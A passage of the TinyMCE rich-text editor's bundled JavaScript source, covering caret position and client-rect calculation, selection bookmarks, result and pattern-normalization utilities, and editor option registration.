            bottom,
            left,
            width: right - left,
            height: bottom - top
          });
        });
      }, Optional.none());
    };
    const distanceToRectEdgeFromXY = (rect, x, y) => {
      const cx = Math.max(Math.min(x, rect.left + rect.width), rect.left);
      const cy = Math.max(Math.min(y, rect.top + rect.height), rect.top);
      return Math.sqrt((x - cx) * (x - cx) + (y - cy) * (y - cy));
    };
    const overlapY = (r1, r2) => Math.max(0, Math.min(r1.bottom, r2.bottom) - Math.max(r1.top, r2.top));

    const clamp$2 = (value, min, max) => Math.min(Math.max(value, min), max);

    const getSelectedNode = range => {
      const startContainer = range.startContainer, startOffset = range.startOffset;
      if (startContainer === range.endContainer && startContainer.hasChildNodes() && range.endOffset === startOffset + 1) {
        return startContainer.childNodes[startOffset];
      }
      return null;
    };
    const getNode$1 = (container, offset) => {
      if (isElement$6(container) && container.hasChildNodes()) {
        const childNodes = container.childNodes;
        const safeOffset = clamp$2(offset, 0, childNodes.length - 1);
        return childNodes[safeOffset];
      } else {
        return container;
      }
    };
    const getNodeUnsafe = (container, offset) => {
      if (offset < 0 && isElement$6(container) && container.hasChildNodes()) {
        return undefined;
      } else {
        return getNode$1(container, offset);
      }
    };

    const extendingChars = new RegExp('[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a' + '\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0' + '\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e3-\u0902\u093a\u093c' + '\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3' + '\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc' + '\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57' + '\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56' + '\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44' + '\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9' + '\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97' + '\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074' + '\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5' + '\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18' + '\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1ABE\u1b00-\u1b03\u1b34' + '\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9' + '\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9' + '\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20DD-\u20E0\u20e1\u20E2-\u20E4\u20e5-\u20f0\u2cef-\u2cf1' + '\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\uA670-\uA672\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1' + '\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc' + '\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1' + '\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\uff9e-\uff9f]');
    const isExtendingChar = ch => isString(ch) && ch.charCodeAt(0) >= 768 && extendingChars.test(ch);

    const or = (...args) => {
      return x => {
        for (let i = 0; i < args.length; i++) {
          if (args[i](x)) {
            return true;
          }
        }
        return false;
      };
    };
    const and = (...args) => {
      return x => {
        for (let i = 0; i < args.length; i++) {
          if (!args[i](x)) {
            return false;
          }
        }
        return true;
      };
    };

    const isElement$4 = isElement$6;
    const isCaretCandidate$2 = isCaretCandidate$3;
    const isBlock$1 = matchStyleValues('display', 'block table');
    const isFloated = matchStyleValues('float', 'left right');
    const isValidElementCaretCandidate = and(isElement$4, isCaretCandidate$2, not(isFloated));
    const isNotPre = not(matchStyleValues('white-space', 'pre pre-line pre-wrap'));
    const isText$7 = isText$a;
    const isBr$3 = isBr$6;
    const nodeIndex$1 = DOMUtils.nodeIndex;
    const resolveIndex$1 = getNodeUnsafe;
    const createRange$1 = doc => doc ? doc.createRange() : DOMUtils.DOM.createRng();
    const isWhiteSpace$1 = chr => isString(chr) && /[\r\n\t ]/.test(chr);
    const isRange = rng => !!rng.setStart && !!rng.setEnd;
    const isHiddenWhiteSpaceRange = range => {
      const container = range.startContainer;
      const offset = range.startOffset;
      if (isWhiteSpace$1(range.toString()) && isNotPre(container.parentNode) && isText$a(container)) {
        const text = container.data;
        if (isWhiteSpace$1(text[offset - 1]) || isWhiteSpace$1(text[offset + 1])) {
          return true;
        }
      }
      return false;
    };
    const getBrClientRect = brNode => {
      const doc = brNode.ownerDocument;
      const rng = createRange$1(doc);
      const nbsp$1 = doc.createTextNode(nbsp);
      const parentNode = brNode.parentNode;
      parentNode.insertBefore(nbsp$1, brNode);
      rng.setStart(nbsp$1, 0);
      rng.setEnd(nbsp$1, 1);
      const clientRect = clone$1(rng.getBoundingClientRect());
      parentNode.removeChild(nbsp$1);
      return clientRect;
    };
    const getBoundingClientRectWebKitText = rng => {
      const sc = rng.startContainer;
      const ec = rng.endContainer;
      const so = rng.startOffset;
      const eo = rng.endOffset;
      if (sc === ec && isText$a(ec) && so === 0 && eo === 1) {
        const newRng = rng.cloneRange();
        newRng.setEndAfter(ec);
        return getBoundingClientRect$1(newRng);
      } else {
        return null;
      }
    };
    const isZeroRect = r => r.left === 0 && r.right === 0 && r.top === 0 && r.bottom === 0;
    const getBoundingClientRect$1 = item => {
      var _a;
      let clientRect;
      const clientRects = item.getClientRects();
      if (clientRects.length > 0) {
        clientRect = clone$1(clientRects[0]);
      } else {
        clientRect = clone$1(item.getBoundingClientRect());
      }
      if (!isRange(item) && isBr$3(item) && isZeroRect(clientRect)) {
        return getBrClientRect(item);
      }
      if (isZeroRect(clientRect) && isRange(item)) {
        return (_a = getBoundingClientRectWebKitText(item)) !== null && _a !== void 0 ? _a : clientRect;
      }
      return clientRect;
    };
    const collapseAndInflateWidth = (clientRect, toStart) => {
      const newClientRect = collapse(clientRect, toStart);
      newClientRect.width = 1;
      newClientRect.right = newClientRect.left + 1;
      return newClientRect;
    };
    const getCaretPositionClientRects = caretPosition => {
      const clientRects = [];
      const addUniqueAndValidRect = clientRect => {
        if (clientRect.height === 0) {
          return;
        }
        if (clientRects.length > 0) {
          if (isEqual(clientRect, clientRects[clientRects.length - 1])) {
            return;
          }
        }
        clientRects.push(clientRect);
      };
      const addCharacterOffset = (container, offset) => {
        const range = createRange$1(container.ownerDocument);
        if (offset < container.data.length) {
          if (isExtendingChar(container.data[offset])) {
            return;
          }
          if (isExtendingChar(container.data[offset - 1])) {
            range.setStart(container, offset);
            range.setEnd(container, offset + 1);
            if (!isHiddenWhiteSpaceRange(range)) {
              addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(range), false));
              return;
            }
          }
        }
        if (offset > 0) {
          range.setStart(container, offset - 1);
          range.setEnd(container, offset);
          if (!isHiddenWhiteSpaceRange(range)) {
            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(range), false));
          }
        }
        if (offset < container.data.length) {
          range.setStart(container, offset);
          range.setEnd(container, offset + 1);
          if (!isHiddenWhiteSpaceRange(range)) {
            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(range), true));
          }
        }
      };
      const container = caretPosition.container();
      const offset = caretPosition.offset();
      if (isText$7(container)) {
        addCharacterOffset(container, offset);
        return clientRects;
      }
      if (isElement$4(container)) {
        if (caretPosition.isAtEnd()) {
          const node = resolveIndex$1(container, offset);
          if (isText$7(node)) {
            addCharacterOffset(node, node.data.length);
          }
          if (isValidElementCaretCandidate(node) && !isBr$3(node)) {
            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(node), false));
          }
        } else {
          const node = resolveIndex$1(container, offset);
          if (isText$7(node)) {
            addCharacterOffset(node, 0);
          }
          if (isValidElementCaretCandidate(node) && caretPosition.isAtEnd()) {
            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(node), false));
            return clientRects;
          }
          const beforeNode = resolveIndex$1(caretPosition.container(), caretPosition.offset() - 1);
          if (isValidElementCaretCandidate(beforeNode) && !isBr$3(beforeNode)) {
            if (isBlock$1(beforeNode) || isBlock$1(node) || !isValidElementCaretCandidate(node)) {
              addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(beforeNode), false));
            }
          }
          if (isValidElementCaretCandidate(node)) {
            addUniqueAndValidRect(collapseAndInflateWidth(getBoundingClientRect$1(node), true));
          }
        }
      }
      return clientRects;
    };
    const CaretPosition = (container, offset, clientRects) => {
      const isAtStart = () => {
        if (isText$7(container)) {
          return offset === 0;
        }
        return offset === 0;
      };
      const isAtEnd = () => {
        if (isText$7(container)) {
          return offset >= container.data.length;
        }
        return offset >= container.childNodes.length;
      };
      const toRange = () => {
        const range = createRange$1(container.ownerDocument);
        range.setStart(container, offset);
        range.setEnd(container, offset);
        return range;
      };
      const getClientRects = () => {
        if (!clientRects) {
          clientRects = getCaretPositionClientRects(CaretPosition(container, offset));
        }
        return clientRects;
      };
      const isVisible = () => getClientRects().length > 0;
      const isEqual = caretPosition => caretPosition && container === caretPosition.container() && offset === caretPosition.offset();
      const getNode = before => resolveIndex$1(container, before ? offset - 1 : offset);
      return {
        container: constant(container),
        offset: constant(offset),
        toRange,
        getClientRects,
        isVisible,
        isAtStart,
        isAtEnd,
        isEqual,
        getNode
      };
    };
    CaretPosition.fromRangeStart = range => CaretPosition(range.startContainer, range.startOffset);
    CaretPosition.fromRangeEnd = range => CaretPosition(range.endContainer, range.endOffset);
    CaretPosition.after = node => CaretPosition(node.parentNode, nodeIndex$1(node) + 1);
    CaretPosition.before = node => CaretPosition(node.parentNode, nodeIndex$1(node));
    CaretPosition.isAbove = (pos1, pos2) => lift2(head(pos2.getClientRects()), last$3(pos1.getClientRects()), isAbove$1).getOr(false);
    CaretPosition.isBelow = (pos1, pos2) => lift2(last$3(pos2.getClientRects()), head(pos1.getClientRects()), isBelow$1).getOr(false);
    CaretPosition.isAtStart = pos => pos ? pos.isAtStart() : false;
    CaretPosition.isAtEnd = pos => pos ? pos.isAtEnd() : false;
    CaretPosition.isTextPosition = pos => pos ? isText$a(pos.container()) : false;
    CaretPosition.isElementPosition = pos => !CaretPosition.isTextPosition(pos);

    const trimEmptyTextNode$1 = (dom, node) => {
      if (isText$a(node) && node.data.length === 0) {
        dom.remove(node);
      }
    };
    const insertNode = (dom, rng, node) => {
      rng.insertNode(node);
      trimEmptyTextNode$1(dom, node.previousSibling);
      trimEmptyTextNode$1(dom, node.nextSibling);
    };
    const insertFragment = (dom, rng, frag) => {
      const firstChild = Optional.from(frag.firstChild);
      const lastChild = Optional.from(frag.lastChild);
      rng.insertNode(frag);
      firstChild.each(child => trimEmptyTextNode$1(dom, child.previousSibling));
      lastChild.each(child => trimEmptyTextNode$1(dom, child.nextSibling));
    };
    const rangeInsertNode = (dom, rng, node) => {
      if (isDocumentFragment(node)) {
        insertFragment(dom, rng, node);
      } else {
        insertNode(dom, rng, node);
      }
    };

    const isText$6 = isText$a;
    const isBogus = isBogus$2;
    const nodeIndex = DOMUtils.nodeIndex;
    const normalizedParent = node => {
      const parentNode = node.parentNode;
      if (isBogus(parentNode)) {
        return normalizedParent(parentNode);
      }
      return parentNode;
    };
    const getChildNodes = node => {
      if (!node) {
        return [];
      }
      return reduce(node.childNodes, (result, node) => {
        if (isBogus(node) && node.nodeName !== 'BR') {
          result = result.concat(getChildNodes(node));
        } else {
          result.push(node);
        }
        return result;
      }, []);
    };
    const normalizedTextOffset = (node, offset) => {
      let tempNode = node;
      while (tempNode = tempNode.previousSibling) {
        if (!isText$6(tempNode)) {
          break;
        }
        offset += tempNode.data.length;
      }
      return offset;
    };
    const equal = a => b => a === b;
    const normalizedNodeIndex = node => {
      let nodes, index;
      nodes = getChildNodes(normalizedParent(node));
      index = findIndex$1(nodes, equal(node), node);
      nodes = nodes.slice(0, index + 1);
      const numTextFragments = reduce(nodes, (result, node, i) => {
        if (isText$6(node) && isText$6(nodes[i - 1])) {
          result++;
        }
        return result;
      }, 0);
      nodes = filter$3(nodes, matchNodeNames([node.nodeName]));
      index = findIndex$1(nodes, equal(node), node);
      return index - numTextFragments;
    };
    const createPathItem = node => {
      const name = isText$6(node) ? 'text()' : node.nodeName.toLowerCase();
      return name + '[' + normalizedNodeIndex(node) + ']';
    };
    const parentsUntil$1 = (root, node, predicate) => {
      const parents = [];
      for (let tempNode = node.parentNode; tempNode && tempNode !== root; tempNode = tempNode.parentNode) {
        if (predicate && predicate(tempNode)) {
          break;
        }
        parents.push(tempNode);
      }
      return parents;
    };
    const create$b = (root, caretPosition) => {
      let path = [];
      let container = caretPosition.container();
      let offset = caretPosition.offset();
      let outputOffset;
      if (isText$6(container)) {
        outputOffset = normalizedTextOffset(container, offset);
      } else {
        const childNodes = container.childNodes;
        if (offset >= childNodes.length) {
          outputOffset = 'after';
          offset = childNodes.length - 1;
        } else {
          outputOffset = 'before';
        }
        container = childNodes[offset];
      }
      path.push(createPathItem(container));
      let parents = parentsUntil$1(root, container);
      parents = filter$3(parents, not(isBogus$2));
      path = path.concat(map$1(parents, node => {
        return createPathItem(node);
      }));
      return path.reverse().join('/') + ',' + outputOffset;
    };
    const resolvePathItem = (node, name, index) => {
      let nodes = getChildNodes(node);
      nodes = filter$3(nodes, (node, index) => {
        return !isText$6(node) || !isText$6(nodes[index - 1]);
      });
      nodes = filter$3(nodes, matchNodeNames([name]));
      return nodes[index];
    };
    const findTextPosition = (container, offset) => {
      let node = container;
      let targetOffset = 0;
      while (isText$6(node)) {
        const dataLen = node.data.length;
        if (offset >= targetOffset && offset <= targetOffset + dataLen) {
          container = node;
          offset = offset - targetOffset;
          break;
        }
        if (!isText$6(node.nextSibling)) {
          container = node;
          offset = dataLen;
          break;
        }
        targetOffset += dataLen;
        node = node.nextSibling;
      }
      if (isText$6(container) && offset > container.data.length) {
        offset = container.data.length;
      }
      return CaretPosition(container, offset);
    };
    const resolve$1 = (root, path) => {
      if (!path) {
        return null;
      }
      const parts = path.split(',');
      const paths = parts[0].split('/');
      const offset = parts.length > 1 ? parts[1] : 'before';
      const container = reduce(paths, (result, value) => {
        const match = /([\w\-\(\)]+)\[([0-9]+)\]/.exec(value);
        if (!match) {
          return null;
        }
        if (match[1] === 'text()') {
          match[1] = '#text';
        }
        return resolvePathItem(result, match[1], parseInt(match[2], 10));
      }, root);
      if (!container) {
        return null;
      }
      if (!isText$6(container) && container.parentNode) {
        let nodeOffset;
        if (offset === 'after') {
          nodeOffset = nodeIndex(container) + 1;
        } else {
          nodeOffset = nodeIndex(container);
        }
        return CaretPosition(container.parentNode, nodeOffset);
      }
      return findTextPosition(container, parseInt(offset, 10));
    };

    const isContentEditableFalse$8 = isContentEditableFalse$a;
    const getNormalizedTextOffset$1 = (trim, container, offset) => {
      let trimmedOffset = trim(container.data.slice(0, offset)).length;
      for (let node = container.previousSibling; node && isText$a(node); node = node.previousSibling) {
        trimmedOffset += trim(node.data).length;
      }
      return trimmedOffset;
    };
    const getPoint = (dom, trim, normalized, rng, start) => {
      const container = start ? rng.startContainer : rng.endContainer;
      let offset = start ? rng.startOffset : rng.endOffset;
      const point = [];
      const root = dom.getRoot();
      if (isText$a(container)) {
        point.push(normalized ? getNormalizedTextOffset$1(trim, container, offset) : offset);
      } else {
        let after = 0;
        const childNodes = container.childNodes;
        if (offset >= childNodes.length && childNodes.length) {
          after = 1;
          offset = Math.max(0, childNodes.length - 1);
        }
        point.push(dom.nodeIndex(childNodes[offset], normalized) + after);
      }
      for (let node = container; node && node !== root; node = node.parentNode) {
        point.push(dom.nodeIndex(node, normalized));
      }
      return point;
    };
    const getLocation = (trim, selection, normalized, rng) => {
      const dom = selection.dom;
      const start = getPoint(dom, trim, normalized, rng, true);
      const forward = selection.isForward();
      const fakeCaret = isRangeInCaretContainerBlock(rng) ? { isFakeCaret: true } : {};
      if (!selection.isCollapsed()) {
        const end = getPoint(dom, trim, normalized, rng, false);
        return {
          start,
          end,
          forward,
          ...fakeCaret
        };
      } else {
        return {
          start,
          forward,
          ...fakeCaret
        };
      }
    };
    const findIndex = (dom, name, element) => {
      let count = 0;
      Tools.each(dom.select(name), node => {
        if (node.getAttribute('data-mce-bogus') === 'all') {
          return;
        } else if (node === element) {
          return false;
        } else {
          count++;
          return;
        }
      });
      return count;
    };
    const moveEndPoint$1 = (rng, start) => {
      let container = start ? rng.startContainer : rng.endContainer;
      let offset = start ? rng.startOffset : rng.endOffset;
      if (isElement$6(container) && container.nodeName === 'TR') {
        const childNodes = container.childNodes;
        container = childNodes[Math.min(start ? offset : offset - 1, childNodes.length - 1)];
        if (container) {
          offset = start ? 0 : container.childNodes.length;
          if (start) {
            rng.setStart(container, offset);
          } else {
            rng.setEnd(container, offset);
          }
        }
      }
    };
    const normalizeTableCellSelection = rng => {
      moveEndPoint$1(rng, true);
      moveEndPoint$1(rng, false);
      return rng;
    };
    const findSibling = (node, offset) => {
      if (isElement$6(node)) {
        node = getNode$1(node, offset);
        if (isContentEditableFalse$8(node)) {
          return node;
        }
      }
      if (isCaretContainer$2(node)) {
        if (isText$a(node) && isCaretContainerBlock$1(node)) {
          node = node.parentNode;
        }
        let sibling = node.previousSibling;
        if (isContentEditableFalse$8(sibling)) {
          return sibling;
        }
        sibling = node.nextSibling;
        if (isContentEditableFalse$8(sibling)) {
          return sibling;
        }
      }
      return undefined;
    };
    const findAdjacentContentEditableFalseElm = rng => {
      return findSibling(rng.startContainer, rng.startOffset) || findSibling(rng.endContainer, rng.endOffset);
    };
    const getOffsetBookmark = (trim, normalized, selection) => {
      const element = selection.getNode();
      const rng = selection.getRng();
      if (element.nodeName === 'IMG' || isContentEditableFalse$8(element)) {
        const name = element.nodeName;
        return {
          name,
          index: findIndex(selection.dom, name, element)
        };
      }
      const sibling = findAdjacentContentEditableFalseElm(rng);
      if (sibling) {
        const name = sibling.tagName;
        return {
          name,
          index: findIndex(selection.dom, name, sibling)
        };
      }
      return getLocation(trim, selection, normalized, rng);
    };
    const getCaretBookmark = selection => {
      const rng = selection.getRng();
      return {
        start: create$b(selection.dom.getRoot(), CaretPosition.fromRangeStart(rng)),
        end: create$b(selection.dom.getRoot(), CaretPosition.fromRangeEnd(rng)),
        forward: selection.isForward()
      };
    };
    const getRangeBookmark = selection => {
      return {
        rng: selection.getRng(),
        forward: selection.isForward()
      };
    };
    const createBookmarkSpan = (dom, id, filled) => {
      const args = {
        'data-mce-type': 'bookmark',
        id,
        'style': 'overflow:hidden;line-height:0px'
      };
      return filled ? dom.create('span', args, '&#xFEFF;') : dom.create('span', args);
    };
    const getPersistentBookmark = (selection, filled) => {
      const dom = selection.dom;
      let rng = selection.getRng();
      const id = dom.uniqueId();
      const collapsed = selection.isCollapsed();
      const element = selection.getNode();
      const name = element.nodeName;
      const forward = selection.isForward();
      if (name === 'IMG') {
        return {
          name,
          index: findIndex(dom, name, element)
        };
      }
      const rng2 = normalizeTableCellSelection(rng.cloneRange());
      if (!collapsed) {
        rng2.collapse(false);
        const endBookmarkNode = createBookmarkSpan(dom, id + '_end', filled);
        rangeInsertNode(dom, rng2, endBookmarkNode);
      }
      rng = normalizeTableCellSelection(rng);
      rng.collapse(true);
      const startBookmarkNode = createBookmarkSpan(dom, id + '_start', filled);
      rangeInsertNode(dom, rng, startBookmarkNode);
      selection.moveToBookmark({
        id,
        keep: true,
        forward
      });
      return {
        id,
        forward
      };
    };
    const getBookmark$2 = (selection, type, normalized = false) => {
      if (type === 2) {
        return getOffsetBookmark(trim$1, normalized, selection);
      } else if (type === 3) {
        return getCaretBookmark(selection);
      } else if (type) {
        return getRangeBookmark(selection);
      } else {
        return getPersistentBookmark(selection, false);
      }
    };
    const getUndoBookmark = curry(getOffsetBookmark, identity, true);

    const value$1 = value => {
      const applyHelper = fn => fn(value);
      const constHelper = constant(value);
      const outputHelper = () => output;
      const output = {
        tag: true,
        inner: value,
        fold: (_onError, onValue) => onValue(value),
        isValue: always,
        isError: never,
        map: mapper => Result.value(mapper(value)),
        mapError: outputHelper,
        bind: applyHelper,
        exists: applyHelper,
        forall: applyHelper,
        getOr: constHelper,
        or: outputHelper,
        getOrThunk: constHelper,
        orThunk: outputHelper,
        getOrDie: constHelper,
        each: fn => {
          fn(value);
        },
        toOptional: () => Optional.some(value)
      };
      return output;
    };
    const error = error => {
      const outputHelper = () => output;
      const output = {
        tag: false,
        inner: error,
        fold: (onError, _onValue) => onError(error),
        isValue: never,
        isError: always,
        map: outputHelper,
        mapError: mapper => Result.error(mapper(error)),
        bind: outputHelper,
        exists: never,
        forall: always,
        getOr: identity,
        or: identity,
        getOrThunk: apply$1,
        orThunk: apply$1,
        getOrDie: die(String(error)),
        each: noop,
        toOptional: Optional.none
      };
      return output;
    };
    const fromOption = (optional, err) => optional.fold(() => error(err), value$1);
    const Result = {
      value: value$1,
      error,
      fromOption
    };

    const generate = cases => {
      if (!isArray$1(cases)) {
        throw new Error('cases must be an array');
      }
      if (cases.length === 0) {
        throw new Error('there must be at least one case');
      }
      const constructors = [];
      const adt = {};
      each$e(cases, (acase, count) => {
        const keys$1 = keys(acase);
        if (keys$1.length !== 1) {
          throw new Error('one and only one name per case');
        }
        const key = keys$1[0];
        const value = acase[key];
        if (adt[key] !== undefined) {
          throw new Error('duplicate key detected:' + key);
        } else if (key === 'cata') {
          throw new Error('cannot have a case named cata (sorry)');
        } else if (!isArray$1(value)) {
          throw new Error('case arguments must be an array');
        }
        constructors.push(key);
        adt[key] = (...args) => {
          const argLength = args.length;
          if (argLength !== value.length) {
            throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength);
          }
          const match = branches => {
            const branchKeys = keys(branches);
            if (constructors.length !== branchKeys.length) {
              throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(','));
            }
            const allReqd = forall(constructors, reqKey => {
              return contains$2(branchKeys, reqKey);
            });
            if (!allReqd) {
              throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', '));
            }
            return branches[key].apply(null, args);
          };
          return {
            fold: (...foldArgs) => {
              if (foldArgs.length !== cases.length) {
                throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length);
              }
              const target = foldArgs[count];
              return target.apply(null, args);
            },
            match,
            log: label => {
              console.log(label, {
                constructors,
                constructor: key,
                params: args
              });
            }
          };
        };
      });
      return adt;
    };
    const Adt = { generate };

    Adt.generate([
      {
        bothErrors: [
          'error1',
          'error2'
        ]
      },
      {
        firstError: [
          'error1',
          'value2'
        ]
      },
      {
        secondError: [
          'value1',
          'error2'
        ]
      },
      {
        bothValues: [
          'value1',
          'value2'
        ]
      }
    ]);
    const partition$1 = results => {
      const errors = [];
      const values = [];
      each$e(results, result => {
        result.fold(err => {
          errors.push(err);
        }, value => {
          values.push(value);
        });
      });
      return {
        errors,
        values
      };
    };

    const isInlinePattern = pattern => pattern.type === 'inline-command' || pattern.type === 'inline-format';
    const isBlockPattern = pattern => pattern.type === 'block-command' || pattern.type === 'block-format';
    const normalizePattern = pattern => {
      const err = message => Result.error({
        message,
        pattern
      });
      const formatOrCmd = (name, onFormat, onCommand) => {
        if (pattern.format !== undefined) {
          let formats;
          if (isArray$1(pattern.format)) {
            if (!forall(pattern.format, isString)) {
              return err(name + ' pattern has non-string items in the `format` array');
            }
            formats = pattern.format;
          } else if (isString(pattern.format)) {
            formats = [pattern.format];
          } else {
            return err(name + ' pattern has non-string `format` parameter');
          }
          return Result.value(onFormat(formats));
        } else if (pattern.cmd !== undefined) {
          if (!isString(pattern.cmd)) {
            return err(name + ' pattern has non-string `cmd` parameter');
          }
          return Result.value(onCommand(pattern.cmd, pattern.value));
        } else {
          return err(name + ' pattern is missing both `format` and `cmd` parameters');
        }
      };
      if (!isObject(pattern)) {
        return err('Raw pattern is not an object');
      }
      if (!isString(pattern.start)) {
        return err('Raw pattern is missing `start` parameter');
      }
      if (pattern.end !== undefined) {
        if (!isString(pattern.end)) {
          return err('Inline pattern has non-string `end` parameter');
        }
        if (pattern.start.length === 0 && pattern.end.length === 0) {
          return err('Inline pattern has empty `start` and `end` parameters');
        }
        let start = pattern.start;
        let end = pattern.end;
        if (end.length === 0) {
          end = start;
          start = '';
        }
        return formatOrCmd('Inline', format => ({
          type: 'inline-format',
          start,
          end,
          format
        }), (cmd, value) => ({
          type: 'inline-command',
          start,
          end,
          cmd,
          value
        }));
      } else if (pattern.replacement !== undefined) {
        if (!isString(pattern.replacement)) {
          return err('Replacement pattern has non-string `replacement` parameter');
        }
        if (pattern.start.length === 0) {
          return err('Replacement pattern has empty `start` parameter');
        }
        return Result.value({
          type: 'inline-command',
          start: '',
          end: pattern.start,
          cmd: 'mceInsertContent',
          value: pattern.replacement
        });
      } else {
        if (pattern.start.length === 0) {
          return err('Block pattern has empty `start` parameter');
        }
        return formatOrCmd('Block', formats => ({
          type: 'block-format',
          start: pattern.start,
          format: formats[0]
        }), (command, commandValue) => ({
          type: 'block-command',
          start: pattern.start,
          cmd: command,
          value: commandValue
        }));
      }
    };
    const getBlockPatterns = patterns => filter$5(patterns, isBlockPattern);
    const getInlinePatterns = patterns => filter$5(patterns, isInlinePattern);
    const createPatternSet = (patterns, dynamicPatternsLookup) => ({
      inlinePatterns: getInlinePatterns(patterns),
      blockPatterns: getBlockPatterns(patterns),
      dynamicPatternsLookup
    });
    const fromRawPatterns = patterns => {
      const normalized = partition$1(map$3(patterns, normalizePattern));
      each$e(normalized.errors, err => console.error(err.message, err.pattern));
      return normalized.values;
    };
    const fromRawPatternsLookup = lookupFn => {
      return ctx => {
        const rawPatterns = lookupFn(ctx);
        return fromRawPatterns(rawPatterns);
      };
    };

    const deviceDetection$1 = detect$2().deviceType;
    const isTouch = deviceDetection$1.isTouch();
    const DOM$a = DOMUtils.DOM;
    const getHash = value => {
      const items = value.indexOf('=') > 0 ? value.split(/[;,](?![^=;,]*(?:[;,]|$))/) : value.split(',');
      return foldl(items, (output, item) => {
        const arr = item.split('=');
        const key = arr[0];
        const val = arr.length > 1 ? arr[1] : key;
        output[trim$3(key)] = trim$3(val);
        return output;
      }, {});
    };
    const isRegExp = x => is$4(x, RegExp);
    const option = name => editor => editor.options.get(name);
    const stringOrObjectProcessor = value => isString(value) || isObject(value);
    const bodyOptionProcessor = (editor, defaultValue = '') => value => {
      const valid = isString(value);
      if (valid) {
        if (value.indexOf('=') !== -1) {
          const bodyObj = getHash(value);
          return {
            value: get$a(bodyObj, editor.id).getOr(defaultValue),
            valid
          };
        } else {
          return {
            value,
            valid
          };
        }
      } else {
        return {
          valid: false,
          message: 'Must be a string.'
        };
      }
    };
    const register$7 = editor => {
      const registerOption = editor.options.register;
      registerOption('id', {
        processor: 'string',
        default: editor.id
      });
      registerOption('selector', { processor: 'string' });
      registerOption('target', { processor: 'object' });
      registerOption('suffix', { processor: 'string' });
      registerOption('cache_suffix', { processor: 'string' });
      registerOption('base_url', { processor: 'string' });
      registerOption('referrer_policy', {
        processor: 'string',
        default: ''
      });
      registerOption('language_load', {
        processor: 'boolean',
        default: true
      });
      registerOption('inline', {
        processor: 'boolean',
        default: false
      });
      registerOption('iframe_attrs', {
        processor: 'object',
        default: {}
      });
      registerOption('doctype', {
        processor: 'string',
        default: '<!DOCTYPE html>'
      });
      registerOption('document_base_url', {
        processor: 'string',
        default: editor.documentBaseUrl
      });
      registerOption('body_id', {
        processor: bodyOptionProcessor(editor, 'tinymce'),
        default: 'tinymce'
      });
      registerOption('body_class', {
        processor: bodyOptionProcessor(editor),
        default: ''
      });
      registerOption('content_security_policy', {
        processor: 'string',
        default: ''
      });
      registerOption('br_in_pre', {
